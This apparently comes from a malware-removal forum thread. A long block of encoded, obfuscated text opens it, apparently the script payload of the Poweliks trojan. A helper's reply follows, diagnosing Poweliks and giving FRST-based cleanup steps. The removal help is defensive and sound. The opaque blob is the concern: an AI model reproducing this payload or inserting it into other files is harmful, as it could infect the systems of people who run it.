9X#j9x}+D?NZosUFA}q9t48NrHo2_4qAk].\"\\iVwkjseSKq}M^wjA5j\\jlVI~P2^IHsw.}Vl|?_]A\\VN\\!t\\psNH5iqASTI 8&5h[+8Ip+a`Hh,~tws%:wZN:t7}38ZC2xCi 4A}so}`jslj9sV}8IjpiXAjUwD}&9s] 4M.iH2Kf1;}`I(U&1X1GI~jFwKeL92tfxsKA#1\"CNA}U.l?`Fd 1g}!w&]j\"2#s^p.so_phVGCy1P5j92`9NPsj9Jy\"!CTDK.oL j2FK}ss:mA3apzd8jVVV}&z*PV`Xl3s$j#s^j..p:3^?oN:tFjfC2D6\\ Dw}2GXtKoZ8swD58si} 4K.TYSPf\\r[q^IKu$\\lp9Gis9o::XrIqVV#2ww]3xj#hx/}8(y\" YG#Psh|2VU5iBo}qt~t 9tCsg?KP[2HqV0e^N5\".ax.^1;#Fx.ijjkjsw*NGBS` ,HPi9jIsNB? HylPtU^!\"rP#I\\Iht~ ,AiApztFaIpbYVtj\" i(5h}\"\\A+ t&mMN [o1;KjsH?ii2jh*d}Fgt[Vw/phX}}Vs;[ wp5\"H?s%SPsA66swsepw;I82ZU!}:n3.t40s\\?p#opPsI^f\\w\\hDx1#4qI F\" :}(IFjMIZYw]V^A#L\" HiZ\\^$cmF.~JfNVHAY!K#$Zl\"A\"Jy\"qC3DI1Vo^j#}n}`V}UkDsIZYI}.^Z}jlHP38!m`sq5.w_}#b2pH,./1hS+Il}jlhesTci#;}T9^^09t9!jY.q}~ xa3}j\\}]%~M}Z#W`Ltqii9VKZF9K+}M1/,m]ygAtVXvNq\\lj#V~nVY#5?OxIZVqtkD9]:l}}#xMK^42gFw0J+,Vp:pqIp[:1oAtF!jnPowqH+oxi1 iZt$\\Fj&._N&HCjx^&w&jiXIHs[ 1:N.]!2Zpqw%l3(8jVF jVwHt3wZ?iiZI%tjHAhXjC4fp`o7}F\\r#.w?isj522&5.V\"^TYX4`V\\pfoKm3s5}Kj9i94A.+1t}T.NP:t/`a.H.I~#3\\I#j9\\] wx0Osj!}_##9Mjj1UIq#&?h}\"jMa98f4w1VX~}3V\"6A5.5x^xjAG^VaMJywAiP\"Arw(\\IN\"[q2WjbY*p+4A1otoCMwsC3wC}THA1i58^Vj*9!aZ4ZN~#2xL\\gW]+9Wl0s;1FsmPoVGIZ1]ITXU}is.e9fjT\\LpVXVpiVs\\j}2m&9AHq6b]3\"(t!l/t!t6K_[L\"x1M}UNjps1H4qHg?#I8j!x|\\P\"C}ToD.V1V `sH\\ 0c5`IW M^cP3w\\i\"~}?0[q1:I;]uNw+Vs-}TH}1sI\"\\38IthXK4ToH}VF~nj9z\"MO5lw9;nK\"*t 9&e\"xSHZoI\\ oW8\"1+lAwf?i3llj,GnVwA^TwFH3a~?o.w]ytz9&\\&}Z}+n.^.C af}%4rAB2mMNnHusNNZs3|To!1i6S# 9Z\\P\":#[2jUst6A9oU8W?`w j!4C]Mx2]3\"jmZ[A5.bZjz,;H:}3j3o~1ooH C1D#p9Z133ZVw~jqI*53a;Nq*W[3W6 V1c}#gKIA2AgC}m[o1hK^9C.iBw?o.g[xA!CswDlVH&H360P:.$\\M9ZI:A2^!jS#!\\AC wA?2oZ939si#m7rA.Bj 4nK+wV}K\"/]iafN+1gj%1$tZsFUX1p`qXiF\"Z}3j2\\3wIp^owqCNMP3VMjqI9jVoAKipX f~sPV9 phOHruNKeqN!1jw rV6Vt3x*]&aH8f&y1A3ytt2]TVspjq*?f[G}T1VijwD}hgV+ssm?9AAPswu2gHpjVG[!\\\\F!x1\\!0cl0( `N5}i6b? Nspis4}TwDjjwpj wwIVoUKiY }sNo(&~wp^Nm8 X1j3xXJT^ZV0\\\"21xJ\"bMHyoa+p\\SK%NW}y^ICfg:r t;H#9K[G.9:fxnmZ}y\\M^! 3\"Z#V\"yps#21!.;63sxI 1eITt;4q.V#sx1nuxI}TOdl3}7CyFoIF\\\\H0FnP&4}ij^r[P\";?`BL`jsI[!t$N21JlsBKIT9kP2wMj#xnphO~N+* ejsUU!jt?AYw\\(jHH.Iy]3gL+b1|`&oX]UVjNZ}$I3#\\K ,~e:l?C+xCNf# ppN~]`.rt XxoN;\\2wEH(a}]+X&}q[Mq2p.}V}s4oIdjV[w}TwAe 8C!\"C.pHxj#}~n_VtjLjD5NqXtF^A629.\\\"j&qX/9 9KihFNIZ}#4u]\\.+1~ V`F\\ogC.h4mIq} eyY95V~sIswb}jx:t!a&\\Vlv58^F(.V_}#A~HqtzPBU1+1_}jlZ#\"w;s4U}+1~}`V\\gx&c}Z9jn3a:P(aS}i\\KI`Bs9!s;]is~p0s$Kio~j#s~}.\"I}iwAI#4~pi}+}`s9gM9|poNKeF&h]VwK#h4s}2$.tF9l}T9~I`s$.#oU4+IoH.xl 9^&Voq+sVV] wCj!lx}`V}].ahe:8?]+w(NZHljK.KesNqp 13I\")Sp 9!82jIn wrlio51V9~}`}$9!wqp858jVwsHs\\?]i\\I5j\\F\".wI}hVA4^}.PHnphHH^CxZ#TaL}i[GKVIZ}`}B\".jsK^1q]sgs#X.j!DD5j[|3*q]h60wwqpV[k+!9_#:XkiiwlpT[oI3N;nVN4U2D.Ks,mijx;eKwr\\ x.Hq4L5!w2 sIwlAs$I3qnji9q}Kwr]sjD.V1q4fV`}jsF`KjC5jtn[:\\Y\\4teiwwIVO!5j*H}is;.q*3pf[qpqIk#38I#ilKj\"]w1#qHP2t!\"&4/+G9Z}3ws}jO*[VA\\js1M` sI]hV\\I2tdpH2p#}}eLx?\\ xsIhawi*ktA} 9wpI`}~]&4/ 3jHo0X. [2(V9Se%q81VY9N#o;NTwkj!8s]oa5KU2~KhYotw./q2wC4_.U M4/ (9Z 34E? $35F. 6o.~4.A]l3\\8.Vto}:XLji&h.9sVK!Y~e0s/(sa5p`sq]F\\*eV5*^!xylwoZ9F}MPs.xp0.+IiowIi*y 3j?\\i\\lV[;HVpSjswsjLjE50NV825Xj3Dl#TlD5j42\\.sK#hI4.ystps2`jV}qij`XPq^fpq4;1Vs&]0mq5j^Ij.U#&T!\\2^?j#w5j`O.tswli#NqK0sO+utNHs}x .gr6iwS?Vo\\j YjCqY3`3\\DIq}\"#x~A}.a\\tp9|5:B1:VV_8utbHVFmToKNf}KC2thjpjIIqB~K%sM[yWA9FwC?^}nC:j5i XA] 4M5.]D:2HPU}U.Zq.?V[;+3*g .4r\\oxIIUsN4PVl}`s/I&^IjV\"#.x(tVwXjsx/?salg2In}s}mlV9(.haU!t;#xaxis\\5+qkN+5S}s**5x99myW.#yzc[Fwl#oaKps23\\MYAt#.kNjwOS\"]sIVV8C j5ihxZIPtUjomHCV63(jxxpsmZn2\\ e39(}TX.I0]ktM68e#WS5qspp%tVjpsk}IDP!jAjia IPpy#`6HU4kp`Vg[!wA[x^SJ\"\\HH0sZ5jN2^+Y2H21UlVtgpis iZDfJTwXN+syjis~n^9-1 \\xpZ*tt \"x[x9f6i^sH0415j1K8h9t}Z9$?!dy?3sm}:9A}#9A!qo}qs;]_No5.wA`9\"}(4}}(9A]igypNokKA4}UN_?`3Xps#q1+sxnfxn]iw1pi#m4fI&]0sHUFz\\pZIA[VaS]s\\eVwnlVoC\\!s;}isypqI31+1+IhN\"\\F9p#i^sIo4^NTNV]VYtt!9fp^sq]OpH2\"}]9xpS8ox\"MN~}#s8Iy.Bp%]U?i1G}Vj.]sxI/0SN+t\\CU%+9M4xw9gH2wp 3\\.]pg\\l0X6\\!sgjfNGpqs}jhtmH9tGt2w2Co~fp%B;IP.oHNA.U3^II2I`CF^n}j\"5#Vx\\?24S\\FAg}TVUjjWfr31NPAhi3w?th9L}U# m ,q}`wTn!SDHw95H!w6].ak[i06NZoE9xsW}pVjpsNAhs~N%tkCM4It+lfNT3Wj/,G}^}/`s`6jbYG 2jD#3^IC3wf. 295V~}V.;I09h.#\\ZNT6`jjDf}P^2V4S13Fw]wstUFAXro.b8F^rH2\"1}VO;jq[}d ,\"tq1UHAIG.oo\"lqN\"}LwV8iAX?\"[~.ftSj`N6mM4pIZHX\\!Ky}Lg2 o^ qT6}.w:#UVA?w}qPBm4hY; 38A8U9M.!q0l+s&\\qN `T*pymSj!\"I]M\\s8o\\xNBh\\ ,GC!t0jytU5T3SI#V2 xaL8#& 5+[xji9n}q*6qM&y5.9}}!^l}V^f\\p~Fl8Bk5FV\"}is~4AFpjV]t}fNGiK~p\\Vx.KhH~4qw&eZIff^FsFk^Fa&}:92}p~ElZB::26k]h1Aj2t]?io\\IiF$t!wS}iaIph10?o92Py3*93gf. wt\\!j3jKgr[saxpN$3t3}l s}Wls9$jh4NHT*ke&4&[+X&VoWms5.P:s6t2w&K8sjns\".#Dn#i8&jwoImjFM#PV\"l`w$j [;KV,:C&^r\\!D&Kp[ H3Fj8A}6\"K~&}0.n :OZ .9cnsa5?NB1\"F}l8#Iwr:t$}3B\"lhm8}j\"An#w;jp]gI!6A}`.o92lC?sV}CKwf}j\"LHoxfH`Bn\".3X}iIMNZ*43BhI#2XHj5yiP\"D3Bwpq5.^sVK`jaw}ws2CV95PLg3 3O1I:oYmx.~]h6+}8.- X4NT5W# DZ 9w; 22r!IK]A}/5Kw&`t\\PV^v#:X|j3jAK`3h\"VIV}V1K}AY/jVoM}3Yq[ 4r\\!8IPs\\+uAZ 01tq3w1VqS#3W! jw9i XD5^[.3w!j *mjqh*V[UN sN}.\"f}Vlf1ptN+oI28ws]`jxI`9.j.~j[sjpn3w5p^oM`c.tuIN0qTps[nm#VGCF\"s}jRD|f[ Kq38} Np`!4Ipjssn(~vH21h\\i&hIo[}(.N ^fNwpqN%?iB51+14i:DD}%4pSzd7NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\dyt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9k%7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7JfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJz%WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf57SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SH,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H%-r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+Sz1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z07NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7S\"t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07Nr%7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7J&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJXRc}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&I\\JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzR\\r337|z%7];,3dXO rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO Sz1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z07NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7S\"t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07Nr%7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7J2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJH%*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25-d!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fdXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXR\\rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO SH,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H%7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7Jy4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[kR\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\J&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJXRc}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&I\\JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzR\\rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\\]ZO2JzO SH1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H0\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\dyt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9k%7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7JfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJz%WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf57SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SH,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H%-r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+Sz1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z07NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7S\"t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07Nr%7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7J&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJXRc}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&I\\JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzR\\r337|z%7];,3dXO rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO Sz1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z07NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7S\"t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07Nr%7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7J2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJH%*5?RDSH,AJ!5\\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25-d!wpS257[XO&JXR&JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fdXO&I;%2Jy4p6sz\\FzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXR\\rA27FXR\\]ZO2JzO rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO SH,~iZO J&1\\[zR\\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H%7[!5\\HXRci94pSHd\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7Jy4AJXk\\JT5\\I;0\\9Lt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[kR\\}.z\\[rO&S2^\\dym7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\J&92J\"1\\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJXRc}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\\J&I\\JTwpS2e\\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JzO&I;0&dyt56ob7|H,fI/02S\"t56sz\\FzO&I/02S\"t56wb-nXO&I;%2Jy4p6sz\\FzR\\rA3\\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\\]ZO2JzO SH1A`Z,yJfm7NH%-1z1~j/,yJ&1\\[zR\\1z1~j/,yJ2m-9XR\\1H,~iZO J&1\\[zR\\1H0\\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\\HXRci94pSHd\\dyt~Jz/7SZp-I/07N%t~JXk\\JT5\\I/07N%t~JH/-d!5\\I;%7[L4AJXk\\JT5\\I;0\\9k%7}#b7Nb,fSf^7S\"m7}.z\\[rO&Sf^7S\"m7}jb-9kO&S2m7Jy1\\}.z\\[rO&S2^\\dym7JfNAS.m-ro)Wj/%MJ&92J\"1\\ro)Wj/%MJ2N3dy1\\rwbWiZRDJ&92J\"1\\rw)c`Z%MJzY~pU%.Sz1ASTp7J&Ic}jRcST]&lqI~[Zso5x9Sp09~[j92HC^A}+OsI0}F1j.K[\"twpq,Kp [\\jT6wi(js] OSI![2?T} 8y1$\"f\"(Ist~t!8I]!w\\8TwZ`1CmM,:]uN~KZs$+3#`pfNDj3x}8TwZ4qHxlfNjiyF]t2wAN21a}VxSe3\"I\\3ws}y1sm23yjht\\K`s3N+1&m3Vh] 9\\jTwA4+qUIssX#AIBt3wZ?q.W}V^YiMSFPiwA1`qSmMN\"j t\\5Zs$NqoG}+%Wj 1!#Tw2p sAph,XjVY45jxWNZFx]f\"xjVws}p9A?Ao\\IjN s&p`s$?3#jjpN [F92C!Oypio IT.Kiq.!\\FA IqN~j!aMHCwf}#jIV[A\"!IA i,dp:Iap [~5i9;[ wM}P\"}ITH~1V9~tys!5x9Ip2}~tjxptyxr]P\".pZ4Igs9;]o2ZmZ.Gp+^Zp#N ns9\\C TX?i#dpiw~HG9F5!xyKwsK[39q}j\"AJfz\\K;0*`KA~}is~4wma1uHIjfN~}j\"}\\3wApp2g}Ts~e`tjtMg242}tn.\\vPfgs}iwAp`oAU2*y h*UH8Ve?haIIT*. .4rnsa5KhH\\HUt+ejNjI jv52wU#Mg&PFj}VXj.0#nj2FZPV.x+j9PHiH\"lTV2Ps\"DH#w;5\"#g+htwijId\"3lqHq1b]y^; .9cnsa5?NBlq2V+P N~p`s$pioNH%VDt243C!gY.hH\\HUtKe.16(Mt6+Vwbj2lh 3\\cHqw.?:]nj2sli w\"NAF343]\"j\"bS 89\\VX.?PHhI#sZijIG\"!ljl2N}n:XZP!jI\\ \\+_Hkt3*KeVt}4V1;haNlVFl}jws}iwApiB~pis~j^tV1MxYj ANC.\\Leyg/nh5Xr:HrmV9N VNWmysurp20p\".ktj9.}iwAp a0Hh68 0Ndja+_w^ 2Wh V1hnV8/+VOk\"&t7e%1}HA6O.%]mjis~}j9s}iwAp%$b3s~ sN$5jwf.s9IC(43P2gnVwAp`oA5KAd]os7p`s$pion.UI^j!Ih8TaN!#d.%AS}`s$5jwqjN.N]F`* K&6CTaEsaL(3*Se%qZr`FP1u[n4i}S 35h8!g*hs0.+6. 0NjmM\"C.:Vn 28Ye.9I6ia5Kqqkt!!ljst}}0weKioNNTs~}jges4;N!]h+#}b VwT\\2O*.s9ICx\"3P&^es4;NV]n.}+}is;ly9u+!1bHTcSPM8HoaIpU[bH+Ikey*6(Fa(+_1t8.I! VwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}j\"L[!99}TwAp`oA5js~}is;}2Np?i\\.Ki9a}(j;}#^x?io~pis~}`s$5jwCHZ9\\t!X\\[!99}\"41pssA\\!s~}is~p`s$piosmT}a}(\\2}#^xK9]2ITVG}`s$5jwAp`s~}jg|[F99}zD1pssA\\!I; Nxp`s$pio~pis~}jK\\}s^x?io2.TVG}ZF!mjwxp`s~}jwA}jwA}pIcIssA\\ w; NxjoNp?iH~pis~}jwA}iwAI!42.TVG]`F!mjwWl09\\t!^A}jwA}iwAp`oA5.AG NxoNp?iHxKi}a}9A}iwApio~pis~jZFFmjwwIA9\\t!^\\[F99}TwAp`oA5js~}is;I_NO?iHdKi}a}9A}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}#~1IssAmX,; Nxp`s$pio0r3}a}9A}iwAp#]~pi1~}`s$5jw|A9\\t!^A}jwA}pAcIssA\\!s~}isA?2Np?iH~pis~}jR&}s^x?io~pis~]GtFmjwxp`s~}jA6[ 89}TwAp`oA\"K1G Nxp`s$pio~pis~}jwA}iwApio~pis~}`s/Usa5j0*b\\V&6e39j#^(1qOk\"F};}is~pjqz.%$j?3wy K~MCqaq?haNHTF~i.A `F\"D.0Fgn3^Fi3jcPiwC1:$l\"&t.P!FUmy9$pio~IT5SeLxD}#I6KpsI+VFlPVFj1 xAp^I:](45i.\\ZjVXYj Hk5js~}i}}HV1dK%$NlT.~#L~/Pqg.1itqp\".Me0Nf5jwAp0wb8Vx/e ZF8!\"sK s}j!*H#stnm8s]psHjIi*:#3\"I[#aC+uH~pis~#^t 1sasK Vm#!Ih V\\r8!g5.sak(V9S #N2pqspH 4mHs}7e34A[#aC+uH~pis~i:9G(s0XNwI0#ywr .4Z[qa(j0[tj&tk}i}q.w9 ?Vt`4oV8 39c^TwApio\"HTwk jtj(sx(1:94 2a e:Z68!xEj0Hk\"yV$epN;p^9!VBjI Y+P0FC+xCNTo~pi9: ^NV\"MxCrowm#(\"/t.wZ[hxC.o21mK.MeVN2p`s$pV]bH!68e.4?^o^(+u$^4#.~ `,U5jwAp`so}.9:}9A} ^vp`}c5&}~Cj%84o9%?![A?p}x#jkh^U^Aju4ar!tI#j.OUFx2lZNa}.wctM\\tP9w\\N^) \"xN~}is;}jN2NVoaj#sl[2xA^%~fNV2hruA+js,+qxxsIq/7Cxa\\tM\\|]!1cI`#X`(}~tis\\12N;j!AyNqVA[yg;tVAc?pB21!6_JZ,+jy\\Ap`s~}jx:t gVPjR\\SH1y: FX[iw.pZs$pf(ypis~}jwZ ix?NTH~piIS]AsB5jwM.Zh2j.~y]3^\\}q\\;jGB?m:hX}TVkKNtB}TBaooZnMD5JTwA|T^ZNT.~}`}6qM9qHH,~jO1PlIP ^DjosAI!IS}VFA}Z9$mVsU4T*k6jwfj#\":1o$Zlqo7C:HAUjk\\}.ml[XD28!ws}iw9.A22gMYI}#s~pqN(Hz1~?p1NPlI]u9VmT# }#b7J2m*5.x\\IN3Mjjj9}jwfP/kyKq^h\\?%H[fNVHA}B?!*7N+1~}jwp[+9L}iB~pis~tZted!wVNA6 F 5\\HL~(]9\"&jA(&9!YAHUN;HAcAN9$nHupS]Vj!\\i8\\?!*7S\"tA}`3at28AIZ9W\\2\\s}jw2^UK!?V*\\Lt~}iV&?ws]jio~I 9H].^q8rO&Kio~p#A2t.tV5LI&KZp8nL^qt!TyJTwqj`22g 1NPp1&m09KmTqgrpIDC(4&n 9Vj/1ANTs~]GNC\"kR!pN27[!j262^ ]!1Dpj$xd N5t3soK^N$juBhI s;FXRci3wAp%$GKitH}0V}\"2jFmy* jft\\}j4IPh^&jos&\\Nwjh57SZs$IuB;pj/.}3\"|]+al}qB~jis~is,(g!jAI`9~jsx:CK~5H3kc}`eXtF9GCPH.NZ2*}i2I}pVt M\\wjTgprieMIip7#V.XUj\"Zr:22HC~rJ&jyC+9qHH1A5?/Hj3InHAI]|\"BUI3V;[ jy]p9Vpi#Gr Vtts}2:sx:I;,Ut:^9j2\"W]zRhG)h:!NAth}\"?qVoHzOA1uV4J&I\\J\"Ihlf22I!tVJ.1]jM^Djo37P.aMJ&9A8/OAp`oA:jt }s.bm0Iu5iaUI3h2j:gAi3wAIo(Z?#AKt N}Ua.j`wGj.4At2xtP3\"2?Za5\\:Vtth}GIw9h}T# roVwi!^DPiTyuoA1qwVJ.IT:3gfN0VhJ!jpt ^qFzR\\rqt(gCIVFT52? NUji3y.3}M8:IyJqghH\"VM}Ts~}`s$`jwAp`s.]!^f}jwA}ijAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApPTb|PY(#qV;9ftX8F9(Z\"\\^fZh6z44j2sy9M.DJs984 I24 i!? *Zt(x\\^ogVmUta5+..J0F41xgW5q696LaCt(\"2t XV}yo!\\j}7^V}84s1Tl 1!j!,a8x\"V^rTW}+3Tl+.H8s.dty&E}V6k(s\\w^x\"Fe Xpms1!\\1ZFjhK}ypLp/4(pUVZt.DNpjX4.is!N9HHpU68jj^ENGHHp?X4#j^E[9tX8qNn?bK TV!NwATmsTa|j3aJ3^E[hOD}jL0m/hXH:5ztZSh+GpSJZ\"\\^Z0GFoDK+oH!\\!!iU.!NVVO}jXx4UI^^:Ohi+jXNhsN}pH!Pqsz1 4t4w!+639V[2\"V8!jx5o]V\":,H]U.!52I24+X54+V![MjXF/4x5j$8m+.H\\.q;\\MX/qA148MX(Cl38f9pms1L5?3kF!N0qAbGTBlN!.(p.Z/ Tx*N!#((#!k 8.B(x5yH^!k Fj98x5y\\sZ/8#9(xp.\\s!aq;t8? XZjuIHp?0wFj0E? Xy4+Y^F;IAdZ\"hSGbk\\ZShFKD,e+w!5y4G6KY^n!VZB*#bJIn{l I!U`a_E~b+6~yx-)mEB!S8#p8mmY14`#`8)i^sK/+vbiDxYoAA==^#~@"
 


#6 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 16 July 2014 - 05:03 AM

Hello,

 

You have Win32 Poweliks (not ZeroAccess).

 

We know how to beat it but I would like to test something else.

 

Please kill all of the dllhost.exe instances. You can use Process Explorer for that purpose (don't forget to run it as administrator).

 

Next please download the following file => and save it to the Desktop.
NOTE. It's important that both files, FRST and fixlist.txt are in the same location or the fix will not work.

Run FRST and press the Fix button just once and wait.
The tool will make a log on the Desktop (Fixlog.txt). Please post it to your reply.

 

 

Regards,

Georgi


cXfZ4wS.png


